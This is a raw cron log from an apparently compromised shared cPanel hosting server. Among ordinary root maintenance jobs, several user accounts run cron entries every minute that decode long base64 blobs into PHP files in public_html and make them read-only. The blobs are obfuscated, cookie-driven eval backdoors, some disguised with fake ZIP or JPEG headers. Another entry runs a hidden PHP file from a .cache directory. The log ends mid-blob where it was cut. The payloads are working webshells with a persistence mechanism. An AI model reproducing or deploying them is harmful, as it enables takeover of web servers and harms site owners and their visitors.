Jun  7 04:10:01 medusa CROND[23344]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 04:10:01 medusa CROND[23343]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 04:10:01 medusa CROND[23345]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:10:01 medusa CROND[23347]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 04:10:01 medusa CROND[23349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:10:01 medusa CROND[23350]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:10:01 medusa CROND[23351]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 04:10:01 medusa CROND[23358]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:10:01 medusa CROND[23363]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 04:10:01 medusa CROND[23365]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 04:10:01 medusa CROND[23362]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 04:10:01 medusa CROND[23367]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:10:01 medusa CROND[23370]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:10:01 medusa CROND[23372]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:10:01 medusa CROND[23373]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:10:01 medusa CROND[23356]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 04:10:01 medusa CROND[23357]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 04:10:01 medusa CROND[23387]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 04:10:01 medusa CROND[23355]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 04:10:01 medusa CROND[23364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 04:10:01 medusa CROND[23353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:11:01 medusa CROND[25004]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 04:11:01 medusa CROND[25005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:11:01 medusa CROND[25006]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:11:01 medusa CROND[25007]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:11:01 medusa CROND[25008]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:11:01 medusa CROND[25009]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:11:01 medusa CROND[25010]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 04:11:01 medusa CROND[25011]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:11:01 medusa CROND[25012]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:11:01 medusa CROND[25020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:11:01 medusa CROND[25022]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:11:01 medusa CROND[25024]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:11:01 medusa CROND[25025]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:12:01 medusa CROND[26722]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:12:01 medusa CROND[26771]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:12:01 medusa CROND[26772]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:12:01 medusa CROND[26770]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 04:12:01 medusa CROND[26774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:12:01 medusa CROND[26776]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWR